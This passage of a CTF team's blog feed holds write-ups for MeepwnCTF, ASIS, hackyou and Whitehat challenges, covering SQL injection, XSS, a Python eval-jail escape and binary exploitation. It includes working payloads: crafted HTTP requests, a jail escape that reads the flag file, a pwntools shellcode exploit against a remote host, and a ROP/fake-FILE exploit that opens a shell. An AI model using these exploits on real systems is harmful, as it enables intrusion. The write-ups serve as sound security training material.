a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

387dddd9bb34fb1fa697f4f5c208ad425e14f6a37e943a3ddf73cca12356054b

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

b3be9a9b5b6cd97815a1a2a5c14713b761b664e195a6e1384219a701ccc12036

aa556a1b27356c35be3890f7c6f022c431d48ff7b5c15b2a0586609b15e5d5f6

a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

 

]]>
687
MeepwnCTF 2017 - injection https://babyphd.net/2017/07/27/meepwnctf-2017-injection/ Thu, 27 Jul 2017 18:47:24 +0000 https://babyphd.net/?p=659 Continue reading MeepwnCTF 2017 - injection ]]> Another injection? Awesome, another ART I want to learn so much. Learning *injection*-fu is hard, keep learning, practicing, ctf all the time.

According to Saitama, after a year and half of 100 daily push-ups, sit-ups, and squats, plus 10 km daily running, he had achieved some level of superhuman strength.

Sourcecode (base64)

Spoiler alert: In the previous post, I once said something about SQLi (aka SQL injection) and XSS.
I will write up as my timeline trying to solve this task.
I have sourcecode, yay, at least I known what the heck i'm facing with. At this time, I could use RIPS but I already have experience in source code audit, so, kill the bear with bare hand, why not (I'm not support killing wild animals).
Exploring source code is just time-comsuming task, after that, I have some notes:

  • Database structure:
    • The flag is the links table
    • charset LATIN1
    • all string field is varchar(500) - that's mean only 500 char stored in that column. I have some ideas about SQL truncate attack
  • The BOT:
    • chim.js is a file used in phantomjs (a headless browser), very familar with XSS problem.
    • the secret cookie is HTTPOnly (i'm not very it yet, blind trust), can't easy inject javascript code to steal cookie.
  • The php code:
    • every input entry has been mysqli_real_escape_string
    • every output has been htmlentities - the problem is this function by design/default didn't escape single quote '
    • CSRF, not have any CSRF check, likely XSS.
    • SET sql_mode=ANSI ?
    • function `filterLink` remove single quote ', double quote ", backtick `
    • `mysqli_error` for debug only?

The very likely exploitable for a XSS vuln is htmlentities
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

Default flag is ENT_COMPAT | ENT_HTML401, but if I want to convert ', look at the flag table

Constant Name Description
ENT_COMPAT Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES Will convert both double and single quotes.
ENT_NOQUOTES Will leave both double and single quotes unconverted.
... ...
ENT_HTML401 Handle code as HTML 4.01.

Not bad, expected by design 😀

In a CTF challenge, most of task are solvable or exploitable. From my point of view, everything echo-ed back to us is something useful. such as `mysqli_error`.
In some point, I had tried to exploit the register function to make a new Admin but UNIQUE KEY (`user`) in table structure prevented it.

Luckily, when I try to insert a duplicated user into table, it warn me, with the most beautiful char, a single quote.
Example Database, notice the  space at user column.

CREATE DATABASE inj_1;
USE inj_1;
CREATE TABLE `users` (
`uid` int(11) NOT NULL AUTO_INCREMENT,
`user` varchar(50) NOT NULL,
`passwd` varchar(50) NOT NULL,
PRIMARY KEY (`uid`),
UNIQUE KEY (`user`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
ALTER TABLE `users` AUTO_INCREMENT=1;
INSERT INTO `users` VALUES (0, 'admin', 'a');
INSERT INTO `users` VALUES (0, 'admin ', 'a');
INSERT INTO `users` VALUES (0, 'admin onerror=aaa', 'a');
INSERT INTO `users` VALUES (0, 'admin onerror=aaa ', 'a');

One more thing with SELECT is, it didn't do bound check on input, look at this example

mysql> select * from users;
+-----+-------------------+--------+
| uid | user | passwd |
+-----+-------------------+--------+
| 1 | admin | a |
| 3 | admin onerror=aaa | a |
+-----+-------------------+--------+
2 rows in set (0,00 sec)

mysql> select * from users where user = 'admin'
-> ;
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,01 sec)

mysql> select * from users where user = 'admin      ';
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,00 sec)

mysql> select * from users where user = 'admin                    ';
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,00 sec)

mysql> select * from users where user = 'admin                                                 1';
Empty set (0,00 sec)

With SET sql_mode=ANSI , I can bypass SELECT, also able trigger error in INSERT.
If you test in your db; make sure you have change your sql_mode,

by default (mysqld --verbose --help | grep mode) give ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

STRICT_TRANS_TABLES will give  error 1406 (22001): Data too long for column

In the code, there is a lot of space content $msg = mysqli_error($con); but I look the register function first. Then a lot of time trying to finger out how can I bypass the disable tag to have a functional onfocus tag (line 61 file login.php)

echo "<input type='text' value='$msg' class='form-control' disabled>";

After mysql return error string, I may have the following text:

<input type='text' value='Duplicate entry 'admin onerror=aaa   ' for key 'user'' class='form-control' disabled>

Now onerror has been escaped from the single quote, it is a event and can be develop with real payload such as onfocus, but it is disabled in this input form.

Example: <input autofocus onfocus=alert(1)> will pop an alert box
But not this one <input autofocus onfocus=alert(1) disabled>
Another place that I haven't notice is the links table. It also have uniq key is link, type of varchar(500)

Line 29 of index.php, the manual check did the same thing with register, both have

$msg = mysqli_error($con);
but this time, it is
echo "<input type='text' value='$msg' class='form-control' readonly>";
Yeah, readonly is better than disabled, I can use my favarite autofocus
 The final exploit flow could be (assume this is a XSS challenge):
  1. register
  2. login
  3. send a link that trigger a CSRF exploit to make bot create manual exploit link
  4. resubmit that trigger link
  5. waiting for flag, waka waka

Now this is time for trial error, here
or the original here
Ref:

  • https://ctftime.org/
  • http://onepunchman.wikia.com/wiki/Saitama
  • https://pastebin.com/hnvvVhW9
  • http://rips-scanner.sourceforge.net/
  • http://php.net/manual/en/function.htmlentities.php
  • https://www.w3.org/TR/html4/interact/forms.html#h-17.12
  • https://www.youtube.com/watch?v=pRpeEdMmmQ0
  • https://pastebin.com/mFCzmSN5
  • https://pastebin.com/jnCKtVi0

PS: WordPress SUCK!!!

]]>
659
MeepwnCTF 2017 - Br0kenMySQL 1-2-3 https://babyphd.net/2017/07/27/meepwnctf-2017-br0kenmysql1-2-3/ Thu, 27 Jul 2017 15:00:47 +0000 https://babyphd.net/?p=655 Continue reading MeepwnCTF 2017 - Br0kenMySQL 1-2-3 ]]> SQL injection, it's not only about %27, everything is Art. The author is the artist, and the competitor is critic. But not me, I'm just a dude want to make some fun, solving those inovative challenge help me remove my limit barriers.

There are 3 tasks.

  1. sourcecode
  2. sourcecode
  3. sourcecode

These were written in PHP and MySQL, you will need knownledge and experience about it.

1.

A very very classic web vulnerability called SQL injection (a kind of *injection*-ish) when you can inject your own query into developer's SQL query, make use of old query to extract information from database, make that query crash or keep it running depend on your purpose (leak full text or single bit, even out of band over other channel such as DNS, combine with XSS,..)

On line 25 when $id combined with SELECT statement to get username out of users table with some filter, then that username strict compare (===) with string guest

On line 36, again, $ip from $_SERVER['HTTP_X_FORWARDED_FOR'] process through same filter will be insert into logs table, in PHP, `$_SERVER['HTTP_X_FORWARDED_FOR']` equal to X-Forwared-for in HTTP request sent to the  PHP script.

On line 38, same $ip  (after filtered) will be SELECT from same users table. But this time this should return admin if we want flag at line 43.

This is confusing when with 2 same query but have 2 difference results. The first thing popped up like an alert box in my mind is using some kind of condition query. More detail, 1st: query return guest if condition A else admin, then change A; 2nd: because A changed so query return admin.

The INSERT query could be abuse for that. In MySQL there is a thing called variable.
They are permanently in same and single connection to database.
My ideas come clear with SQL query look like:

select username from users where id = -1 union select ( 'guest' if @a=1337 else 'admin')
insert into logs values(''),(@a:=1337),('')
select username from users where id = -1 union select ( 'guest' if @a=1337 else 'admin')

But I came first with a solution did not require `union` and `select`.
Enum the id parameter (?id=1,?id=2, ?id=3...) , it turned out 1 is admin and 2 is guest, add a little math-MySQL-magic, trial-error, help from MySQL documents, I have got final payload:


GET /?id=2-if(@a=1337,@a:=1,@a:=0) HTTP/1.1
Host: 139.59.239.133
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 1'),(@a:=1337),('2
Upgrade-Insecure-Requests: 1

With response
Br0kenMySQL
<p style="color: red;">Br0kenMySQL</p>
string(18) "1'),(@a:=1337),('2"
What ???????
Login as guest&amp;admin at the same time ?
Seems our code is broken, here is your bounty
MeePwnCTF{_b4by_tr1ck_fixed}

2.
This is an upgrade version of the first task.
It added more filter select|from|, now I need $id without select, from, and (, ), luckily, now I only need remove ( and ),
In MySQL there are a lot of conditional statement. because IF need his parent-heses, in CASE of fire, break glass, THEN call 114. Oh, did you who am I talking about?

Yeah, it is CASE ... THEN ... ELSE ... END
Debugging INSERT in mysqlclient connected to my test database let me know that I can assign variable's value inside statement, it is just a subquery if I correct.

GET /v2/?id=2-case+when+%40a%3d1337+then+1+else+0+end HTTP/1.1
Host: 139.59.239.133
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: '+@a:=1337+'
Upgrade-Insecure-Requests: 1

Br0kenMySQL
<p style="color: red;">Br0kenMySQL</p>
string(12) "'+@a:=1337+'"
What, again ???????!@#$!@#$!@#$
MeePwnCTF{_I_g1ve__uPPPPPPPP}
http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?debug=%F0%9F%95%B5

3.
Althrough time|date|sec|day was blacklisted but I didn't use any of them.
Yay, same payload for 3rd flag.

Thanks @ml for great challenges. You absolutely should try his CTF challenge repo at Github.

Ref:

  • https://pastebin.com/T7zAcdhb
  • https://pastebin.com/kLAyi6qS
  • https://pastebin.com/v0PAEFNY
  • https://www.owasp.org/index.php/SQL_Injection
  • http://php.net/manual/en/types.comparisons.php
  • http://php.net/manual/en/reserved.variables.server.php
  • https://en.wikipedia.org/wiki/X-Forwarded-For
  • https://dev.mysql.com/doc/refman/5.7/en/user-variables.html
  • https://dev.mysql.com/doc/refman/5.7/en/case.html
  • https://github.com/l4wio/CTF-challenges-by-me/tree/master/meepwn-2017

 

]]>
655
ASISCTF 2017 - Web - Secure portal [1,2,3] https://babyphd.net/2017/05/12/asisctf-2017-web-secure-portal-123/ Fri, 12 May 2017 13:38:37 +0000 https://babyphd.net/?p=642 Continue reading ASISCTF 2017 - Web - Secure portal [1,2,3] ]]> Hey yo!

Long time no C++
Có chút vấn đề khi mình viết writeup cho bài này đó là phần lầy flag có vẻ không hoạt động 🙁 nên hiện tại mình chỉ có thể viết được phần 1.

Okie, link

Có gợi ý như sau By the way I know it's dangerous to code with IDE in server-side but I really obey security instructions.

Vào trang web và lưu lại các request & response bằng Burpsuite Proxy

Có thể là có cả những file cấu hình project - Information leak. Tiện sẵn máy mình cũng cài PHPStorm nên tạo luôn 1 project để xem thế nào

Như vậy là có các file như trong hình, thử vào .idea/workspace.xml và ...

Tiếp tục là 1 file php khác

Phân tích kỹ ta có 1 đoạn compare lỗi == ở if($realSign == $signature)

Bypass bằng cách bruteforce input để md5sum của (input + unknown-key) = 0e[a-f0-9]{30} aka magic hash, sau đó đến phần unserialize của $payload... hmm, không đơn giản lắm nhỉ, bruteforce mà vẫn phải unserialize được. Tuy nhiên thì ta có thể chèn thêm junk variables vào trong $payload mà deserialize không ảnh hưởng gì cả.

Ví dụ

Chạy 1 lúc (ở server cũ)

Sử dụng auth trên để lấy flag + source cho phần thứ 2.

<continue>

]]>
642
hackyou.ctf.su 2016 https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/ https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/#comments Thu, 24 Nov 2016 17:13:17 +0000 https://babyphd.net/?p=627 Continue reading hackyou.ctf.su 2016 ]]> This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.

Reverse 100:

#include <stdio.h>
#include <string.h>

int main() {
	char buf[64];
	gets(buf);
	int l = strlen(buf);
	if (l * l != 144)
		return 1;
	unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
	unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
	unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
	unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
	if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
		return 2;
	if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
		return 3;
	if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
		return 4;
	if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
		return 5;
	printf("Congratulations %s is flag\n",buf);
	return 0;
}

First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.

Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this

# Source Generated with Decompyle++
# File: rev200_bot_7b541a1.pyc (Python 2.7)

import config
import traceback
import re
from base64 import *
from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHide
sec_state = { }

def process_message(bot, u):
Warning: Stack history is not empty!
    if u.message.sender and u.message.text and u.message.chat:
        chat_id = u.message.chat.id
        user = u.message.sender.username
        reply_hide = ReplyKeyboardHide.create()
        print 'user:%s mes:%s' % (user, u.message.text)
        if user not in sec_state:
            sec_state[user] = {
                'mode': 15,
                'stage': 7 }
        cmd1 = u.message.text.encode('utf-8')
        a = re.findall('(\\/\\w+)\\s*(.*)', cmd1)
        if a:
            cmd = a[0][0]
            data = a[0][1]
            if cmd == '/help':
                bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide)
            if cmd == '/enter':
                keyboard = [
                    [
                        '-7-',
                        '-8-',
                        '-9-'],
                    [
                        '-4-',
                        '-5-',
                        '-6-'],
                    [
                        '-1-',
                        '-2-',
                        '-3-'],
                    [
                        '-0-']]
                reply_markup = ReplyKeyboardMarkup.create(keyboard)
                bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait()
            if sec_state[user]['mode'] == 0 and cmd == '/7779317':
                ddd = b64decode(data)
                bot.send_message(chat_id, eval(ddd))
            
        a = re.findall('-(\\d+)-', cmd1)
        if a:
            num = a[0]
            if int(num) == sec_state[user]['stage']:
                sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
                sec_state[user]['mode'] = sec_state[user]['mode'] - 1
                if sec_state[user]['mode'] < 0:
                    sec_state[user]['mode'] = 0
                if sec_state[user]['mode'] == 0:
                    bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait()
                
            else:
                print 'NO', num, sec_state[user]['stage']
                bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait()
                sec_state[user]['mode'] = 15
        

bot = TelegramBot(config.token)
bot.update_bot_info().wait()
print bot.username
last_update_id = 0
while True:
    updates = bot.get_updates(offset = last_update_id).wait()
    
    try:
        for update in updates:
            if int(update.update_id) > int(last_update_id):
                last_update_id = update.update_id
                process_message(bot, update)
                continue
    continue
    except Exception:
        ex = None
        print traceback.format_exc()
        continue
    

So this is a kind of chat-bot server based on Telegram.
There is eval function inside,  bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;

#coding: utf-8
sec_state = { }
user = "A"
sec_state[user] = {
'mode': 15,
'stage': 7 } # bruteforce number
sec_state[user]['mode'] = 15
r = []
while 1:
	num = sec_state[user]['stage']
	r.append(num)
	print "-%d-" % num
	sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
	sec_state[user]['mode'] = sec_state[user]['mode'] - 1
	if sec_state[user]['mode'] < 0:
	    sec_state[user]['mode'] = 0
	if sec_state[user]['mode'] == 0:
		break

print sec_state[user]['mode']

Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`

Reverse 300:
Let's get some fun.

let reverse this (or not?), look at handler (the main function)

ssize_t __cdecl handler(int fd)
{
  ssize_t result; // eax@1
  unsigned int buf; // [sp+20h] [bp-18h]@1
  int v3; // [sp+24h] [bp-14h]@1
  char *v4; // [sp+28h] [bp-10h]@4
  int v5; // [sp+2Ch] [bp-Ch]@4

  buf = 0;
  setuid(0x3E8u);
  seteuid(0x3E8u);
  setgid(0x3E8u);
  setegid(0x3E8u);
  result = recv(fd, &buf, 4u, 0);
  v3 = result;
  if ( result == 4 )
  {
    result = buf;
    if ( buf <= 0xC8 )
    {
      v4 = (char *)mmap(0, buf, 7, 33, -1, 0);
      v3 = recv(fd, v4, buf, 0);
      result = crc32(0, v4, buf);
      v5 = result;
      if ( result == 0xCAFEBABE )
      {
        result = filter(v4, buf) ^ 1;
        if ( !(_BYTE)result )
          result = ((int (*)(void))v4)();
      }
    }
  }
  return result;
}

So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:

1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;

from pwn import *
import socket, struct, telnetlib
def getCRC(data):
	import subprocess
	with open('/tmp/12', 'wb') as f:
		f.write(data + "123456")
	subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE'])
	with open('/tmp/12', 'rb') as f:
		data = f.read()
	return data
def crc32(data):# recheck
	import zlib
	return (zlib.crc32(data)) & 0xffffffff


d = ""
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))
# i need dup2 because the program use itself as server
d += asm(pwnlib.shellcraft.i386.linux.sh())

fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')

print len(fsc)
fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.
print hex(crc32(fsc))

#yes, i love my custom socket lib 🙁
s = socket.create_connection(("78.46.101.237", 3177))

s.send(p32(len(fsc)))
s.send(fsc)
s.send("\n")

s.send("cat flag*\n") 
print s.recv(1024)

To be continued....

]]>
https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/feed/ 2 627
Whitehat Contest 12 - Pwn400 https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/ https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/#comments Sun, 11 Sep 2016 16:29:10 +0000 https://babyphd.net/?p=600 Continue reading Whitehat Contest 12 - Pwn400 ]]>

Líp vẫn nhớ và yêu Híp nhiều lắm ...

Chiến đấu bên những người anh em luôn làm tôi cảm thấy thoải mái và phấn khích. Đợt contest này cả đội đã có 1 ngày không ngủ, cũng gần như không ăn, chỉ dùng lon bò húc để cầm hơi. Cả đội đã rất nỗ lực và hy vọng tràn trề khi lúc đầu liên tục tranh giành top 1 với kỳ phùng địch thủ. Cho đến giữa đêm, do thiếu một chút may mắn ( tôi thì không nghĩ vậy, đêm là khoảng thời gian tôi hay rơi vào trạng thái không ổn định pudency ) mà mọi người mất dần ý chí chiến đấu, nhìn đội khác vươn lên. Có lẽ nếu như tôi dành được 400 điểm từ bài này thì mọi chuyện đã khác. Nhưng dù sao "có lẽ" vẫn chỉ là 1 từ người ta dùng để biện hộ cho lỗi lầm của mình mà thôi.

Đề bài cho 1 file binary có chức năng dùng để viết và đọc 1 file trên server. Thoạt nhìn, tôi đã thấy bài này quen rồi, và có vẻ như chủ đề này vừa được tôi nghiên cứu cách đây 2 tháng. Ta có thể thấy lỗi khá rõ ràng ở hàm `read_file`

int read_file()
{
  char ptr; // [sp+18h] [bp-110h]@4
  size_t n; // [sp+118h] [bp-10h]@4
  FILE *stream; // [sp+11Ch] [bp-Ch]@1

  printf("file name: ");
  __fpurge(stdin);
  gets(name);
  stream = fopen(name, "rb");
  if ( !stream )
  {
    puts("Error: cannot open file. ");
    exit(1);
  }
  fseek(stream, 0, 2);
  n = ftell(stream);
  fseek(stream, 0, 0);
  fread(&ptr, 1u, n, stream);            // Does not check boundary of ptr
  puts(&ptr);
  return fclose(stream);
}

Như vậy, ta có thể cho chương trình đọc một nội dung file có kích thước lớn để kích hoạt lỗi buffer overflow. Tuy nhiên, ta cũng thấy `ptr` nằm ở `sp + 18h` còn `stream` thì nằm ở `sp + 11Ch` nên có thể khai thác lỗi bằng cách dùng bảng IO_FILE_JUMP.

Bài toán 1

Vẫn chiến thuật cũ, tôi bắt đầu từ chương trình đơn giản hơn là gọi hàm `fclose()` với tham số truyền vào là một mảng char. Sau một thời gian sử dụng gdb và "lỗi đến đâu sửa đến đó", tôi đã tìm được những giá trị cần có trong mảng

#include <stdio.h>
char a[256];

int main () {
    *((int *)a + 1) = 0xdeadbeaf;
    *((int *)a + 0x48 / 4) = a;
    *((int *)a + 0x94 / 4) = a - 4;
    fclose(a);
    return 0;
}

Và tất nhiên, kết qủa sẽ là `Invalid $PC address: 0xdeadbeaf`. Tuy nhiên, lần này tôi cũng nhận ra một điều là tôi không thể truyền được tham số khi gọi hàm theo kiểu này. Nếu cấc bạn step từng bước để vào bên trong libc, các bạn sẽ thấy trước khi call ,libc sẽ thực hiện:

push 0x0
push esi                            ; file pointer
call DWORD PTR [eax + 0x8]

Tôi phát hiện ra rằng chương trình không có stack protector, nên nếu như tôi lừa libc cho nó chạy như bình thường với mảng char, tôi có thể đè lên EIP và các gía trị sau đố rồi làm như những bài BoF bình thường. Tôi thử gọi hàm puts thì được kết qủa:

free(): invalid pointer: 0x0804a060 ***

Không ngoài dự đoán, theo như những gì google được thì hàm `fclose()` sau khi thực hiện việc đóng file sẽ giải phóng bộ nhớ đã cấp trước đó ( file pointer cũng là "híp" mà big_smile ).

Bài toán 2

Như vậy, ngoài việc biến mảng a thành một con trỏ file giả, thì ta cũng cần biến nó thành một heap chunk giả nữa. Tiếp tục sử dụng gdb, lần này thêm một cửa sổ khác để debug chương trình mà free một con trỏ đã malloc thực sự. Việc này giúp ta dễ dàng theo dõi luồng thực thi của chương trình đúng và biết sẽ phải sửa cái gì cho chương trình sai. Sau một hồi lâu sửa đi sửa lại, tôi cũng có được những gía trị cần tìm ( ở đây tôi chọn fclose(a + 16) cho nó thoải mái, tránh trường hợp truy xuất vào ô nhớ nào đó phía trước ):

#include <stdio.h>
char a[256];

int main () {
    puts("abcd");
    *((int *)a + 3) = 0xa1;
    *((int *)a + 4 + 1) = 0x8048350;
    *((int *)a + 4 + 0x48 / 4) = a + 16;
    *((int *)a + 4 + 0x94 / 4) = a + 16 - 4;
    *((int *)a + 43) = 0x20b59;
    *((int *)a + 44) = a + 34*4;
    *((int *)a + 45) = a + 38*4;
    *((int *)a + 34 + 3) = a + 42*4;
    *((int *)a + 38 + 2) = a + 42*4;
    fclose(a + 16);
    return 0;
}

Vậy là xong rồi, quay trở lại bài readfile, ta sẽ thực hiện 2 công việc:

  • Gọi hàm write_file để tạo ra một file tên là "inp", nội dung sẽ là `padding + name_address + padding + rop chain`
  • Gọi hàm read_file, đọc file có tên là "inp\x00" + fake_file_struct mà ta vừa tạo ra

Ez local shell, Ez life

[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Puts: 0xf7e5cb80
[*] Printf: 0xf7e46590
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode

$ id
uid=1000(tuanit96) gid=1000(hardtobelieve) groups=1000(hardtobelieve),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
tuanit96
$  

Bài toán 3

Proof of Concept

from pwn import *

def read_file(name):
	s.sendline("2")
	s.recvuntil("file name: ")
	s.sendline(name)

def write_file(name, content):
	s.sendline("1")
	s.recvuntil("file name: ")
	s.sendline(name)
	s.recvuntil("Give me the size: ")
	#print s.recv()
	s.sendline(str(len(content)))
	s.recvuntil("Give me the buffer: ")
	s.sendline(content)

name1 = "/tmp/abc"
name2 = "/tmp/def"
name3 = "/tmp/ghi"

name_addr = 0x804a0a0 + 16
puts_plt = 0x80485b0
puts_got = 0x804a01c
printf_got = 0x804a000
popret = 0x080486c3
start = 0x8048640

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(puts_plt) + p32(popret) + p32(puts_got) + p32(puts_plt) + p32(popret) + p32(printf_got))

s.close()

#s = remote("118.70.80.143", 23504)
s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
s.recvuntil("0:exit\n")

fake_file = "\x00"*4*1 + p32(0xa1) + "\x00"*4*1              # 2 blocks
fake_file += p32(puts_plt) + "\x00"*4*16         # 17 blocks
fake_file += p32(name_addr) + "\x00"*4*14        # 15 blocks
fake_file += p32(name_addr + 38*4) + "\x00"*4*2    # 3 blocks
fake_file += p32(name_addr + 38*4)                 # 1 blocks
fake_file += p32(name_addr - 4) + "\x00"*4*1     # 2 blocks
fake_file += p32(0x20b59)                        # 1 blocks
fake_file += p32(name_addr + 30*4)                 # 1 blocks
fake_file += p32(name_addr + 34*4)

payload1 = name1 + fake_file
read_file(payload1)
data = s.recv()
data += s.recv()

puts = u32(data.split('\n')[-3][:4])
printf = u32(data.split('\n')[-2][:4])
log.info("Puts: " + hex(puts))
log.info("Printf: " + hex(printf))

s.close()

system = printf - 0x00049590 + 0x0003ad80
binsh = printf - 0x00049590 + 0x15ba3f

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(system) + p32(popret) + p32(binsh))

s.close()

#s = remote("103.237.99.25",  23504)
s = remote("localhost", 4000)
s.recvuntil("0:exit\n")
read_file(payload1)
s.interactive()

Tôi hí hửng exploit với con server của họ, ngờ đâu nó chết không thương tiếc beat_brick. Đờ đẫn một lúc không hiểu chuyện gì xảy ra, tôi mới thử đem sang một máy khác chạy bản ubuntu cũ hơn tôi, và nó cũng chịu chung số phận. Có vẻ libc ở bản cũ và bản mới khác nhau ( cách xử lý, offset, ... ). Lúc đó là 2h đêm và nghĩ đến việc giờ ngồi debug lại trên libc-2.19 là tôi lại muốn đi ... Ý boss. Tôi thầm mắng chửi ban tổ chức, lẽ ra phải đưa cả libc cho người chơi chứ, nhưng rồi lại nhận ra, có lẽ họ cũng không biết được điều đó xảy ra, cũng giống mình ban nãy vậy.

Vậy là tôi đã đánh mất 400 điểm dù nó đã nằm trong tay, cảm giác thật giống với việc tối đã để tuột mất tay Híp khi vẫn còn đang nắm chặt vậy ...

]]>
https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/feed/ 2 600
